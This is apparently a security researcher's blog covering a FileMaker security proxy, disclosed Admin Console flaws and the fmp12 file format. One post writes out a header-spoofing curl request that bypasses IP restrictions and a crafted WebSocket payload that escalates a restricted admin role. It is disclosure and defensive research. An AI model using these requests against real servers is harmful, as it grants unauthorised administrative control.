Security on David Hamann

FMProxy – A Security Proxy for FileMaker Server

Sat, 30 May 2026 00:00:00 +0000

TL;DR Alex Dubov and I just released the first public version of FMProxy, a security proxy for FileMaker Server. We are currently looking for beta testers. Want to try it out? Get your copy for Ubuntu Server x86_64 or arm_64. Make sure to read the trial docs (pdf).

Introduction and Research background

In the last few years, Alex Dubov and I have independently been researching the security of the FileMaker platform.

We both reported bugs directly to Claris and via the Apple Bug Bounty program.

While these reports led to fixes/improvements in the product, the full timeline – from discovery through reporting, validation, release, and eventual installation on customer servers – was often stretched over many months.

Early last year, during the discovery of more security-relevant issues, we teamed up to see if we can not only do the security research but also directly work on a solution ourselves.

The idea was to build a tool that would continuously analyze traffic to detect current threats, even before official patches for certain vulnerabilities were being provided. And on top of that, give administrators more visibility into connecting clients and their configurations/fingerprints.

At the Vienna Calling conference in June 2025 (yes, nearly a year ago – things take a while ;-)), we demonstrated a few newly discovered vulnerabilities in the latest version of FileMaker Server (denial of service, session hijacking and privilege escalation) and showed a preview of the proxy server we developed, which could detect – and in some cases prevent – exploitation of known and yet to be discovered vulnerabilities.

At the time, it was just a proof-of-concept on our local machines. We used the time since then to develop the proxy server to a point where it can now be easily installed and reliably run next to FileMaker Server on Ubuntu Linux.

To understand what the proxy inspects, it helps to first look at how clients talk to the server.

How do FileMaker clients communicate and what does the proxy look at?

FileMaker Pro and Go communicate with FileMaker Server using CORBA’s GIOP (General Inter-ORB Protocol), usually wrapped in TLS.

Let’s check briefly how the communication over this protocol works.

Looking at a traffic capture of FileMaker Pro/Go to FileMaker Server, we can see that GIOP packets contain a header specifying the message type (such as Request or Reply), and a body with several data fields in accordance with that type. These fields carry, for example, the request id, operation and of course the actual payload data.

The majority of packets you will see when observing FileMaker traffic are of the type Request and Reply, with the requests predominantly using the Perform operation.

A simple example:

A FileMaker Pro client wants to retrieve account information (or record data or any other data) for a certain database hosted on a FileMaker Server. To request this data, it sends a GIOP packet with the Request message type, Perform operation, and some payload in a proprietary format to the server.

This (unfortunately not publicly documented) payload contains, amongst other data, a session ID (also see Alex’s authentication bypass article), a command instructing the server to return specific data, and a location described as a hierarchical path to a data structure in the hosted database file (in this example a location where account information is stored). This path structure is the same as you would find in an fmp12 file (see my analysis of the format here).

Example:

12 00 00 00 = Request ID 18
50 65 72 66 6f 72 6d = Perform (0x50 = ascii “P”, 0x65 = ascii “e”, …)
Get data at path: 0x17, 0x01, 0x05, 0x02 (where 0x02 is the account ID)

The server will then answer (assuming the request was valid and the client authenticated) with a Reply packet containing the data at the requested path. In the case of a user account this data contains fields for name, privilege set, etc. and can be parsed as described in the fmp12 file format post linked above.

Example:

12 00 00 00 = Request ID 18 (matches this reply to the request)
00 00 00 00 = Status -> No Exception
d0 00 00 00 = Length of message (208 bytes)
80 06 04 10 = NOP, 06 = code for key-value type, key 04, length 0x10 (16), some value
06 10 05 1b 3e 37 33 34 = type 06, key 0x10 (16), length 5, value = admin ^ 0x5a

What can we do with this knowledge and where does FMProxy fit in?

The idea behind FMProxy is that all this data flowing between server and clients is continuously analyzed to give you more information about who is connecting to your server with what kind of client setup (e.g. version, serial number, operating system), and to alert you if there are unusual/suspicious patterns appearing in the network traffic.

FMProxy runs on the same host as FileMaker Server and listens on the default port which FileMaker clients connect to (5003/tcp). To avoid conflicts, the FileMaker Server installation is modified to listen on another port.

Once a client connects to the proxy server, the proxy does two things:

A quick scan of the packet contents to decide if there is any critical issue which should lead to a termination of the connection (a known DoS payload should never reach the FileMaker Server)
If no severe issue is detected in the fast scan, we pass the packet contents to a separate task for deeper analysis while at the same time forwarding it to the target FileMaker Server.

Step 2 is implemented in this way such that it doesn’t couple the analysis overhead with the forwarding of the packet to FileMaker Server, to keep the latency penalty low.

Should the deeper analysis detect any issues (this is mostly unrelated to specific vulnerabilities, but rather a scan for unusual patterns such as a non-“Full Access” account accessing data it shouldn’t have access to), then these cases are logged to a file for further investigation by the server administrator. The logs would typically be forwarded to a central log server with alerting rules.

FMProxy generally tries to only do a minimum set of actions before forwarding data to FileMaker Server and the clients to not cause any interference with regular client-server communications (after all it’s a proprietary protocol and we want to keep traffic unchanged if at all possible). In very few cases we do have to rewrite parts of a packet to make the whole proxy setup feasible.

What can FMProxy actually detect?

Besides access logging, FMProxy currently has detection capabilities that log the following security events. The majority of them don’t focus on specific vulnerabilities, but rather on detecting patterns indicating authorization issues that could be a result of all kinds of vulnerabilities (known or not yet known).

Event ID	Description
SEC-0001	Detection of a request with an unknown session ID. Repeated events of this kind could be an indication of session ID brute-forcing. Session IDs are given out by the server when a client connects (before authentication). If a session ID for an already authenticated client is “guessed” by brute-force, it can allow an attacker to hijack that session and perform actions on behalf of the authenticated client.
SEC-0002	Detection of a client downloading or attempting to download data from a database which is not part of the session used to initiate the download (i.e. no authentication was performed for this database during this session).
SEC-0003	Detection of a client downloading or attempting to download a list of all scripts with an unauthenticated account.
SEC-0004	Detection of a client downloading or attempting to download a list of all scripts with a non-“Full Access” account. This is benign if the authenticated account is not a Full Access account but has the permissions to modify scripts.
SEC-0005	Detection of a client downloading or attempting to download data from a specific database without the corresponding account being authenticated.
SEC-0006	Detection of a client accessing account information for an account other than self while the proxy has insufficient information about the privilege set / permissions of the authenticated account. With data going over the wire the proxy builds a representation of the privileges for different accounts. When a request is made to download data for another account, this representation is in most cases sufficient to judge if it’s a legit request or not. This event will be raised if the information is incomplete to judge the legitimacy of the request.
SEC-0007	Detection of a client accessing account information for an account other than self while being authenticated but not having Full Access privileges. This message is benign if a non-Full Access account is configured with permissions to manage other accounts.
SEC-0008	Detection of a client connecting with a persistent ID which is not present in the list of trusted clients. This event can only appear if the proxy was started with a list of trusted clients.
SEC-0009	Detection of a client connecting with an invalid persistent ID. This could be an indicator of an attacker using a crafted payload using a custom tool. FileMaker clients will always connect with a valid ID.
SEC-0010	Detection of a failed login. This event is always logged when a login fails (e.g. wrong account name / password combination). When automatic logins are configured, you might see this event appearing before a login prompt is shown to a user.
SEC-0011	Detection of known payloads that will crash FileMaker server (denial of service) due to memory issues.
SEC-0012	Detection of successful login.
SEC-0013	Detection of non-FileMaker traffic on the listening port. This event will occur more frequently on public servers which experience probing traffic (bots trying to check for open ports and analyze what software is running).

Want to get your hands on the first version?

If you would like to try out FMProxy in your own lab setup, you can get your copy for Ubuntu Server x86_64 or arm_64. If you would rather test on macOS or Windows, let us know – we have working versions but not a fully automated setup yet. For more information and installation and configuration instructions, please refer to the trial docs (pdf).

The current builds expire every 60 days, so if you would like to follow the progress, just send us an email and we keep you in the loop for new versions and later potential commercial options.

FileMaker Server Admin Console: Access and Role Restriction Issues

Wed, 09 Oct 2024 00:00:00 +0000

With a few security features added to the FileMaker Server Admin Console in the last few versions, I decided to play around with them to see how they are implemented.

In this article I want to highlight three of the issues I found last year (2023) and subsequently reported to Claris/Apple.

TL;DR: Until version FileMaker Server version 21.0.1 you can bypass the IP restricions and until version 20.3.1 no administrator role privileges are respected on the server (every role can upgrade itself to all privileges). The latter issue remains only partially fixed.

Access restriction bypass (CVE-2024-40768)

The FileMaker Server Admin Console can be configured to only allow access from certain IP addresses (in addition to the loopback address).

If I remember correctly, this restriction was originally enforced via the configuration of the web server (IIS/Apache/nginx) but was then moved to be part of the Admin Console application itself (handling and configuring).

The issue with the implementation up until 21.0.1 is that the application blindly trusts the X-Forwarded-For header to determine the IP address.

This can be fine, for example if the web server / reverse proxy is actually configured to overwrite any X-Forwarded-For header of incoming requests with its own IP address and/or the source IP (chained).

However, in a default FileMaker Server installation, this is not the case, rendering the access restriction useless as anyone can send their own X-Fowarded-For header which is guaranteed to arrive at and to be parsed by the Admin Console application.

Just setting the header to 127.0.0.1 will always give you access, independent of the access restriction settings that have been configured.

Example without custom header:

$ curl https://your-server.example/admin-console
Your machine (1.2.3.4) does not have access to the FileMaker Server Admin Console. Please contact the server administrator for help.

Example with custom header:

$ curl -H 'X-Forwarded-For: 127.0.0.1' https://your-server.example/admin-console
<html>
...
login page

In case you are wondering if this applies to any specific platform: it does not. Since the application handles the restriction, it works the same on Windows, Linux and macOS (haven’t tested on macOS but I’m almost certain it works).

Administrator Role restriction bypass (CVE-2023-42954) & passwords being sent to client (CVE-2023-42955)

Since FileMaker Server 19.6.1 it is possible to configure so called “Adminstrator Roles” via the Admin Console. The feature is described in the release notes as:

Administrator roles allow you to administer a subset of available databases using a distinct username and password and with a chosen subset of privileges.

If we look at the traffic the Admin Console produces after login, we quickly realize that a lot of the communication happens via WebSockets.

The Admin Console makes use of the Socket.IO library, so when looking at the exchanged messages, we will see a little bit of meta data for each event (such as the type of a packet).

Additionally, since long-polling (POST request for sending, GET request which is held on for some time until there’s something to return) is supported as a fallback (when WebSockets are not available), we might also see some HTTP requests/responses in the same format.

After logging into the Admin Console, the first Socket.IO related request is for the handshake. It looks something like this:

GET /socket.io/?EIO=4&transport=polling&t=1234 HTTP/2

The response includes a session ID (and a hint that we could upgrade to WebSockets for communication):

0{"sid":"Dq4roeq9GwwF5aLEAAAC","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Using this session ID, the client can then connect and start sending/receiving messages (via any of the supported transports).

In the case of the Admin Console, the next request contains a JSON Web Token, previously obtained by the login (regular POST to POST /fmi/admin/internal/v1/user/login), for authentication:

POST /socket.io/?EIO=4&transport=polling&t=1234&sid=Dq4roeq9GwwF5aLEAAAC HTTP/2

40{"token":"some base64 encoded JWT"}

The 40 in the beginning is meta data (“message” packet type identifier, with “CONNECT” action).

The server responds with an ok and afterwards “regular” event messages are being exchanged (and optionally the transport is changed to WebSockets).

In the case of the Admin Console, several messages are sent right away to acquire all the data for the frontend to display. This is can be anything from available databases, to configuration data, to server usage information.

The part we are interested in for the Adminitrator Roles is the following event sent to the client: EVENT_ADMIN_ROLE_LIST.

It contains information about all the roles that are configured, and looks something like this:

42["EVENT_ADMIN_ROLE_LIST",[{"privileges":[],"db_pri":false,"sched_pri":false,"sched_backup_pri":false,"sched_verify_pri":false,"sched_script_pri":false,"log_pri":false,"password":"$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0","xauthGroup":"","homeFolder":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/","dbFolderPath":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/","dbSubFolderName":"restricted","name":"restricted_access","id":1693575613430,"confirmpassword":"$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0"},{"privileges":["DATABASE_MANAGEMENT"],"db_pri":true,"sched_pri":false,"sched_backup_pri":false,"sched_verify_pri":false,"sched_script_pri":false,"log_pri":false,"password":"$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm","xauthGroup":"","homeFolder":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/","dbFolderPath":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/","dbSubFolderName":"","name":"another_role","id":1693575900936,"confirmpassword":"$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm"}]]

Cutting off the meta data (this time with 2 for EVENT) and formatting the message, it looks like this:

[
 "EVENT_ADMIN_ROLE_LIST",
 [
 {
 "privileges": [],
 "db_pri": false,
 "sched_pri": false,
 "sched_backup_pri": false,
 "sched_verify_pri": false,
 "sched_script_pri": false,
 "log_pri": false,
 "password": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0",
 "xauthGroup": "",
 "homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/",
 "dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
 "dbSubFolderName": "restricted",
 "name": "restricted_access",
 "id": 1693575613430,
 "confirmpassword": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0"
 },
 {
 "privileges": [
 "DATABASE_MANAGEMENT"
 ],
 "db_pri": true,
 "sched_pri": false,
 "sched_backup_pri": false,
 "sched_verify_pri": false,
 "sched_script_pri": false,
 "log_pri": false,
 "password": "$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm",
 "xauthGroup": "",
 "homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/",
 "dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/",
 "dbSubFolderName": "",
 "name": "another_role",
 "id": 1693575900936,
 "confirmpassword": "$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm"
 }
 ]
]

The first oddity I noticed is that the whole array of all admin roles is sent to the client, regardless of the login session.

This means that we can login as any role and always get all role data (we do have to login, though 🤓).

This may or may not be an issue, but sending the passwords for all roles all the time (even if not in plaintext) is not great.

When I looked at the administrator roles initially, I tested it with FileMaker Server 19.6.1. Here, the passwords were indeed sent in plaintext (for all groups)! So the message looked something like: ["privileges": [],"db_pri": false, <snip>"confirmpassword": "very_secret"}]. This is not the case in 20.1.2 anymore, though.

Apart from the password information that is still being shipped to the client, it might not be too big of a deal to be able to get information about the existence of other roles.

However, if we get all this info back from the server, is the server actually checking what role and privileges a user has?

Since we understand how messages are exchanged between server and client, we can easily test this out.

If we want to open a database file via the Admin Console, a message like this is sent to the server:

42["EVENT_DB_ACTION_REQUEST",{"type":"open","id":"2","params":{}}]

If we login with a restricted role and try to send this message for a database which we shouldn’t have access to (based on the “Role folder” when configuring the Administrator Roles), the database still opens.

Additionally, our role does not even need to have the “Database Privilege” turned on.

We can do any database operation on any database no matter what our role settings indicate. In fact, any event I tested was successfully processed (also other settings that can be allowed or not allowed - like viewing logs).

So it seems that the server is only checking whether we have an authenticated session, not what privileges the role associated with that session has.

The Admin Console frontend, however, gives the impression that everything is locked down. It knows what privileges a user has – the server sends that information right at the beginning. But the server seems to fully trust that every message sent to it is legit.

Trusting the frontend, that is essentially under control of the user, is the problem here.

If a user with limited privileges wouldn’t want to go through the hassle of crafting their own custom message anytime (as the frontend doesn’t display the actions that you shouldn’t be able to perform), they can just give themselves all privileges and access to all databases via another WebSocket event: EVENT_ADMIN_ROLE_UPDATE.

Sending a modified admin role configuration using this event is equally accepted by the server.

So we could send something like the following to assign ourselves (as a restricted administrator role) all the privileges and remove the folder restriction:

{
 "AdminRolejson": {
 "groups": [
 {
 "privileges": [
 "DATABASE_MANAGEMENT",
 "SCHEDULE_MANAGEMENT",
 "SCHEDULE_BACKUP",
 "SCHEDULE_VERIFY",
 "SCHEDULE_SCRIPT",
 "DIAGNOSTICS_VIEWING"
 ],
 "db_pri": true,
 "sched_pri": true,
 "sched_backup_pri": true,
 "sched_verify_pri": true,
 "sched_script_pri": true,
 "log_pri": true,
 "password": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0",
 "xauthGroup": "",
 "homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
 "dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
 "dbSubFolderName": "",
 "name": "restricted_access",
 "id": 1693575613430
 }
 ]
 }
}

We are essentially taking the configuration object initially obtained from EVENT_ADMIN_ROLE_LIST, adding all privileges, remove the sub-folder restriction and send it to the server.

Our connection is dropped, but next time we login with our previously limited role, we now have all the controls available in the frontend (which sends events that are, of course, successfully processed on the server side as well).

Proof of Concept

Putting both the IP restriction bypass and the Administrator Role privilege escalation into a proof of concept, it could look like this:

When I prepared this post, I originally wanted to publish the proof-of-concept code here to demonstrate the issue. I now decided against this, because one of the issues is still not properly fixed even though the ticket at Apple was marked as “resolved”. I communicated this, but they require a new ticket to be opened, even though in my opinion all information is already available. They also labeled the bug as “Ineligible” for a bounty. I didn’t open a new ticket to explain everything again, but will hold off from publishing the proof-of-concept code for now.

(continued from originally prepared post)

The output will be the following:

2023-09-01 18:01:58 [INFO] Got auth token
2023-09-01 18:02:03 [INFO] WebSocket connected
2023-09-01 18:02:03 [INFO] Identified admin role object
2023-09-01 18:02:03 [INFO] Sending changed admin role object. Re-login to the admin console to see if additional privileges have been added.
2023-09-01 18:02:03 [INFO] Disconnected

In short, the script authenticates with a restricted administrator role, then makes a socket.IO connection and waits for the server to send the EVENT_ADMIN_ROLE_LIST event.

Once received, it takes the config object of the role that we authenticated with, adds all privileges and removes the folder restriction from the config object, and then emits a EVENT_ADMIN_ROLE_UPDATE event with the crafted payload.

After running the script, the formerly restricted administrator role now has all privileges and can re-login to the admin console.

Timeline

I reported these issues on 01.09.2023 via the Apple Security program. For CVE-2024-40768 I received a bounty. The other two issues were deemed “Ineligible” for a bounty (in my opinion the privilege escalation is more severe than the rewarded issue, but maybe it falls into a different category - who knows!?).

The ticket for CVE-2024-40768 was closed in October 2024 (fixed in 21.0.1).

The ticket for CVE-2023-42954 was closed in June 2024 (partially fixed in 20.3.1; fix is insufficient)

The ticket for CVE-2023-42955 is still open, but the issue was already fixed in version 20.3.2 (8 months ago).

I decided to publish this post in October 2024 (without any proof-of-concept code for now, due to the reasons explained above).

Claris disclosures

All bugs were publicly disclosed by Claris before this post was published:

Exploring the fmp12 file format; or: what was my password again?

Mon, 17 Jun 2024 00:00:00 +0000

Introduction

I had been planning for a while to dive deeper into the fmp12 file format to explore how data is organized and how accounts and passwords are stored. A few months ago, I finally found the time to do it.

The first thing I noticed was just how little information publicly exists about the file format and especially about account and password storage.

The only information on the latter was that “a one-way hash” is used for storing passwords and that there are some password reset tools that – according to forums – might work but would also “damage” your file, without any further clarification.

In my opinion this kind of knowledge shouldn’t only exist for password recovery tool vendors. If you invest a lot time and money into your fmp12 solution, you should know how much or how little local accounts/passwords protect distributed files and also what the reset tools actually do to your files.

It should come to no surprise to some people that you can get around the password protection of unencrypted local files. However, I’ve also spoken to many people in the past who thought a password protected (local) fmp12 file is literally protected if you don’t have the password (i.e. you cannot get into the file to access the data or code).

In June 2024, I gave a talk about this topic at the dotfmp conference. This post will follow the general flow of the presentation. Just like in the talk, we start at the very beginning with some basics (I have also included the number base conversions to keep it complete).

The following article does not come with a proof-of-concept code to reset account passwords for fmp12 files, but it will give you an understanding of the protections in place.

A disclaimer up front: all information presented in the following is based on my observations and some assumptions. As there is no open specification of the file format, we just have to accept that certain things cannot be fully confirmed.

Also note that this is not a post about a vulnerability but rather an exploration into how things works internally in an fmp12 file. We are not talking about accessing a remote file on FileMaker Server.

TL;DR: If you have access to a local fmp12 file, account passwords can be reset. If you just want to read some data from a file, you obviously don’t even need an account/password. If you want to properly protect your local files, use the encryption at rest feature – it’s designed for exactly this.

Number bases / radices, bits and bytes

Over the course of this blog post we are going to look at a lot of raw byte values. Some values are better represented in binary or hexadecimal form.

So let’s start with a quick refresher on how to read numbers in base 10, base 2 and base 16. If you deal with binary and hex values all the time, feel free to skip this section.

Base 10

In everyday life we’re mostly using the base 10 numeral system. If you see the number 2024, you don’t think much about it because you’re used to working with decimal numbers.

But let’s have a look at the formula that actually lets you compute the value from the individual digits of a decimal number:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands

In base 10 every digit can represent one of 10 values (0-9) and each of the digits contributes to the total value.

The number 2024 can be represented like so:

2 0 2 4
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands

So to get to two-thousand-twenty-four, we can just read what every place contributes and add these values together:

$$d_{N-1} \times 10^{N-1} + d_{N-2} \times 10^{N-2} + d_{N-3} \times 10^{N-3} + d_{N-4} \times 10^{N-4}$$$$d_{3} \times 10^3 + d_{2} \times 10^2 + d_{1} \times 10^1 + d_{0} \times 10^0$$$$2 \times 10^3 + 0 \times 10^2 + 2 \times 10^1 + 4 \times 10^0$$$$2 \times 1000 + 0 \times 100 + 2 \times 10 + 4 \times 1$$$$2000 + 0 + 20 + 4$$$$2024$$

As you will see in the following, the same formula also applies to other bases if the base value is swapped out accordingly.

Base 2

In base 2 every digit can have one of two values, 0 or 1. Taking a sample value of 0b1101 (decimal 13), we can compute the decimal value using the same steps as before:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights


1 1 0 1 = decimal 13
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights

$$d_{N-1} \times 2^{N-1} + d_{N-2} \times 2^{N-2} + d_{N-3} \times 2^{N-3} + d_{N-4} \times 2^{N-4}$$$$d_{3} \times 2^3 + d_{2} \times 2^2 + d_{1} \times 2^1 + d_{0} \times 2^0$$$$1 \times 2^3 + 1 \times 2^2 + 0 \times 2^1 + 1 \times 2^0$$$$1 \times 8 + 1 \times 4 + 0 \times 2 + 1 \times 1$$$$8 + 4 + 0 + 1$$$$13$$

Often times the prefix 0b is used to indicate that you’re looking at a binary number.

Base 16

Lastly, we have base 16, which will be the most used in the contents to follow. In base 16 we have 16 possible values for every digit, 0 to 15. The values from 10 to 15 are represented by letters a to f.

Hexadecimal values are usually prefixed with 0x.

To get the decimal value from a hexadecimal number, we can follow the same steps as before, but use 16 as the base:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s


C A F E = 51966
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s

$$d_{N-1} \times 16^{N-1} + d_{N-2} \times 16^{N-2} + d_{N-3} \times 16^{N-3} + d_{N-4} \times 16^{N-4}$$$$d_{3} \times 16^3 + d_{2} \times 16^2 + d_{1} \times 16^1 + d_{0} \times 16^0$$$$12 \times 16^3 + 10 \times 16^2 + 15 \times 16^1 + 14 \times 16^0$$$$12 \times 4096 + 10 \times 256 + 15 \times 16 + 14 \times 1$$$$49152 + 2560 + 240 + 14$$$$51966$$

Bits and Bytes

As the last theoretical bit (pun not intended :-)), let’s have a look what is in a byte and how we can represent bytes in a clear way:

1 byte = 8 bits = 256 possible values (0 to 255)

Example: 0b10000001 = 0x81 = 129

When dealing with 16, 32, or 64-bit values it quickly becomes impractical to use a base 2 or base 10 representation of values.

Looking at just a 16-bit (2-byte) value, you can tell that 16 0s and 1s are hard to make sense of (unless they are all the same). And in a decimal representation it’s hard to know how many bytes a number represents.

But seeing the same value represented in hexadecimal, we can immediately spot that it’s two bytes (1 byte can be represented in two hex digits):

0b1111111111111111 = 0xffff = 65535
16 bits = 2 bytes

The fmp12 file format

Visual inspection and header

Now that we’ve covered the theoretical background, let’s see how an fmp12 file actually looks like when examining the raw bytes of it:

 |----------- magic bytes -----------|--
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
 format--|
00000010: 4241 4d37 0000 1000 0000 0000 0000 0000 BAM7............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...

As is common for many formats, the file begins with a magic byte-sequence signature. This is followed by what appears to be the internal name of the format: HBAM7.

If we were to look at an encrypted file the format would say HBAMe and the rest of the file would by, well, encrypted.

A quick glance at the file also reveals its organization into 4-kilobyte blocks. Before each multiple of 4096 bytes we see a bunch of null bytes (0x00) as the blocks are usually not completely filled.

Helpful resources

As noted earlier, there are very few online resources about fmp12. However, the following three were valuable for kickstarting the process of understanding the file format:

The first two are DevCon talks which give a few insights about how FileMaker Pro/Server logically organizes files. The third, fmptools, is a repository containing C code to parse and extract table data from fmp12 (and older) files and does a great job documenting many of the byte-codes used in the payloads of the 4K blocks.

If you want to get familiar with the format I highly recommend starting by writing a parser yourself and implementing the codes documented in this repository.

Block structure

The 4096 byte blocks in the file are organized as a doubly linked list, meaning each block knows the ID of the previous and next block.

This information (and other meta data, e.g. if a block was deleted or not) is stored in the first few bytes of every block.

So by parsing the block header, we can determine the offset to which we need to jump next in the file.

 |prev ID| |next ID|
00001000: 0000 0000 0000 0000 0000 0043 0001 0de7 ...........C....
 |- beginning of payload ----
00001010: 0000 0894 1b00 0100 0000 0220 0220 8703 ........... . ..
 -- cont. until end of block---------...
00001020: 0300 0000 41c3 0600 0000 4220 88c3 0100 ....A.....B ....

Payload

The payload in each block consists of a sequence of bytes, beginning with a code that describes the following data chunk or the operation to be performed.

The op-codes 0x40 (POP) and 0x20 (PUSH) are used for constructing path information, such that the application reading the file is able to address the individual pieces of data later on.

The data chunks we are interested in for the purpose of figuring out the account and password storage are mostly the key-value pairs (examples to follow). Be aware, though, that we have to have knowledge about all byte-codes in a payload of a block to be able to parse that block in its entirety.

Examining a number of sample files yourself, you will likely notice that there are more than just the byte-codes documented in the fmptools repository.

When encountering a new/unknown code, there are two options: you could either try to reverse-engineer it or skip processing the rest of the payload and move on to the next block. For the purpose of learning about accounts and passwords it’s generally OK to skip ahead as long as the unknown codes don’t appear in the same block as the information we are interested in.

Encoding of data, and payload examples

When you start exploring a file format and have an application at hand that can write data in that format, one of the easiest experiments you can do is to let the application write a known string into the file and see how that string is represented.

Let’s say we were to open an fmp12 file and chose the name AAAAAA for a field, a script, an account name or anything else. Observing how the file changes once that name is committed would give us a clue on a) where the data is stored in the file, and b) how the data is stored.

If you perform this experiment, you will quickly notice that the plaintext AAAAAA does not appear anywhere in the file. Instead, each byte you enter is stored in a transformed (but predictable) manner. The six As do not appear as six instances of 0x41 (decimal 65, the ASCII code for capital A) but rather as 0x1b.

Why 0x1b? It turns out that all the data in fmp12 files is XORed with the byte 0x5a – I assume just for a little obfuscation.

How would you find the XOR byte? You just try out all possible byte values and see which one gives you back 0x41 (A) again.

Let’s have look at a short example of the bitwise XOR operation in case you are not familiar with it.

XOR example

We established that 0x1b ^ 0x5a = 0x41 = 65 = A (the caret denoting the XOR operator).

XOR stands for “exclusive or” and the result of the operation is only true (1), if the two given inputs differ.

And since we are performing a bit-wise operation, our inputs to XOR are the individual bits of the bytes.

Sticking with the example from above, this looks like follows:

0b00011011 ^ 0b01011010 = 0b01000001

00011011 <== 0x1b
01011010 <== 0x5a
--------
01000001 <== 0x41

Going back to the formula from the very beginning, we can see that $2^6 + 2^0 = 65$, and 65 is again the ASCII code for “A”.

Key-value example

Let’s now look at an example of a data chunk inside a payload.

0x06 0x10 0x05 0x1b 0x3e 0x37 0x33 0x34

In this case 0x06 would be the code for a key-value pair.

0x10 would be the key, and 0x05 the length of the data for this key.

Looking at the next 5 bytes (length), we have 0x1b 0x3e 0x37 0x33 0x34.

Performing an XOR operation with each byte and the constant 0x5a as explained above, we get:

0x1B ^ 0x5A = 0x41, 0x3E ^ 0x5A = 0x64, ..., 0x34 ^ 0x5A = 0x6E
0x41 = ASCII "A", 0x64 = "d", ... 0x6E = "n"
"Admin"

So the example above would store the string Admin with key 0x10.

Path operation example

As mentioned before, the payload also contains op-codes for PUSH and POP operations. Let’s look at an example and assume the current path is 17.1 (arbitrary for this example):

0x40 0x40 0x20 0x17 0x80 0x20 0x01 0x80 0x20 0x01

We start by looking at the first byte, determine it’s a POP operation and thus pop off the 1 of our example path, leaving only 17.

Another POP operation (second byte) also pops off the 17, leaving us with an empty path.

The third byte is the op-code for a PUSH operation with the value 0x17. So we push 0x17, or 23 in decimal, onto the path (not to be confused with the decimal 17 in the beginning).

The fourth byte is a NOP, a no-operation instruction. Thus, nothing changes.

Then, we continue with another PUSH of the value 1, meaning our path becomes 23.1.

We continue in the same way as before and eventually arrive at a path of 23.1.1. Here is a list of the instructions in less verbose form:

0x40: POP one off path -> 17
0x40: POP one off path -> empty
0x20 0x17: PUSH 0x17 -> 23
0x80: NOP -> 23
0x20 0x01: PUSH 0x01 -> 23.1
0x80: NOP -> 23.1
0x20 0x01: PUSH 0x01 -> 23.1.1

If the key-value pair from the previous example would follow, it would have the path 23.1.1.16 (16, or 0x10, being the key).

How do we get to the accounts?

With the information given so far we are able to write a simpler parser for any fmp12 file (assuming we have knowledge of all byte-codes used in the file).

How does this help us learn more about the stored accounts and passwords? We can open a few sample files and check where account names, such as Admin, are stored, then note down their path (we know the account names to search for as we are parsing our own files).

What we find is that account information is generally stored at path 23.1.5.N, where N is the account number. So the first account would be in 23.1.5.1, the second account in 23.1.5.2, and so on. The parent path 23.1.5 always stays the same.

Note that you don’t need any account/password if all you want is to read some data from a file. But we want to find out how much accounts protect a local file from being accessed the “normal” way and if passwords can easily be reset.

Where exactly is the name stored and what else is “nearby”? Let’s have a look at a chunk of a payload:

[...]

00008190: 020e fc03 0908 9fa1 5b80 0596 6aa0 4020 ........[...j.@
000081a0: 0280 0604 1005 407c dc76 b7f1 fd29 ac5a ......@|.v...).Z
000081b0: 9c79 1af6 b806 063b 0104 72b2 e83c 04a8 .y.....;..r..<..
000081c0: bd2b fe3c bc1f 3d1f 0b69 df8e 93c6 542e .+.<..=..i....T.
000081d0: 4786 01b0 5d26 1d38 cead d523 0fc1 62a5 G...]&.8...#..b.
000081e0: 6dfa e831 7a99 0ad9 82a8 8efe 9a83 92a5 m..1z...........
000081f0: 0e71 3f06 0a09 089f a15b 8005 9674 3002 .q?......[...t0.
00008200: 0b01 0106 1005 1b3e 3733 3420 5d80 2800 .......>734 ].(.
00008210: 0080 2011 8020 1880 4040 4040 06d8 1071 .. .. ..@@@@...q

[...]

Let’s add some color to better identify the byte-codes (red), the arguments/keys/lengths (green) and the actual data (blue). The account name “Admin” (XORed) is highlighted in blue.

Parsing this payload would look something like this:

(Current path 23.1.5.1)

0x40 (POP)
